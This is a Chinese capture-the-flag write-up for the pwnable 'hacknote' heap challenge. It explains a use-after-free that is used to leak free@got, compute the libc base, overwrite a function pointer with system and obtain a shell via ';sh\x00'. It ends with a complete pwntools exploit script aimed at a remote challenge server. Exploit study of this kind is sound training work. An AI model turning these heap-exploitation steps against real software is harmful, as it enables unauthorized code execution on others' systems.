pwnable_hacknote
使用checksec
查看:
开启了Canary和栈不可执行,没有开启PIE。
先运行一下看看:
看到菜单,应该是一道堆题了,放进IDA中查看:
这里我已经将函数重命名了,接下来分步看:
sub_8048956()
:
- 对应
menu()
,略过
sub_8048646()
:
ptr[i] = malloc(8u);
:程序首先会自动创建一个0x8
大小的chunk*(_DWORD *)ptr[i] = puts_0;
:puts_0内容是return puts(*(const char **)(a1 + 4));
,这个函数作用是putsv0 = ptr[i];
:存放puts_0
的地址v0[1] = malloc(size);
:存放用户创建的chunk的地址- 对应
add()
sub_80487D4()
:
free(*((void **)ptr[v1] + 1)); free(ptr[v1]);
:先释放用户创建的chunk再释放程序自动创建的chunk,没有清空指针- 存在UAF
sub_80488A5()
:
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
:调用puts_0
输出内容
题目思路
- 存在UFA,利用该漏洞泄露libc
- 将
puts_0
修改为system@got
- 执行
show()
就相当于执行system('/bin/sh')
步骤解析
首先创建两个chunk:chunk0、chunk1,大小为
0x18
,不和程序自动创建的chunk大小相同就行
接着将两个chunk都free掉,申请
0x8
大小的一个chunk,这样就能将程序创建的chunk0和chunk1给申请过来,申请时填入的内容会覆盖puts_0
和用户创建chunk0
的地址所以这里需要填上
puts_0
地址,和free@got
地址调用
puts_0
时就会输出free@got
的真实地址
得到
free@got
的地址之后就可以计算出system@got
的地址。free掉chunk2在重新申请
同样的申请时填入的内容会覆盖
puts_0
和用户创建chunk0
的地址此时将
puts_0
替换为system@got
用户创建chunk0
的地址替换为;sh\x00
即可getshell
这里使用
;sh\x00
是因为content的内容是system@got
+;sh\x00
,首先执行sysstem(system@got)
再去执行sysstem(';sh\x00')
分号是为了让前面语句结束后执行后面语句
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",25285)
# r = process("../buu/pwnable_hacknote")
elf = ELF("../buu/pwnable_hacknote")
libc = ELF("../buu/ubuntu16(32).so")
context.log_level = 'debug'
def add(size,content):
r.sendlineafter("choice :",'1')
r.sendlineafter("size :",str(size))
r.sendlineafter("Content :",content)
def delete(idx):
r.sendlineafter("choice :",'2')
r.sendlineafter("Index :",str(idx))
def show(idx):
r.sendlineafter("choice :",'3')
r.sendlineafter("Index :",str(idx))
#params
free_got = elf.got['free']
#attack
add(0x18,'MMMM')
add(0x18,'MMMM')
# gdb.attach(r)
delete(0)
delete(1)
payload = p32(0x804862B) + p32(free_got)
add(0x8,payload)
# gdb.attach(r)
show(0)
free_addr = u32(r.recv(4))
#libc
base_addr = free_addr - libc.symbols['free']
system_addr = base_addr + libc.symbols['system']
delete(2)
payload = p32(system_addr) + b';sh\x00'
add(0x8,payload)
# gdb.attach(r)
show(0)
r.interactive()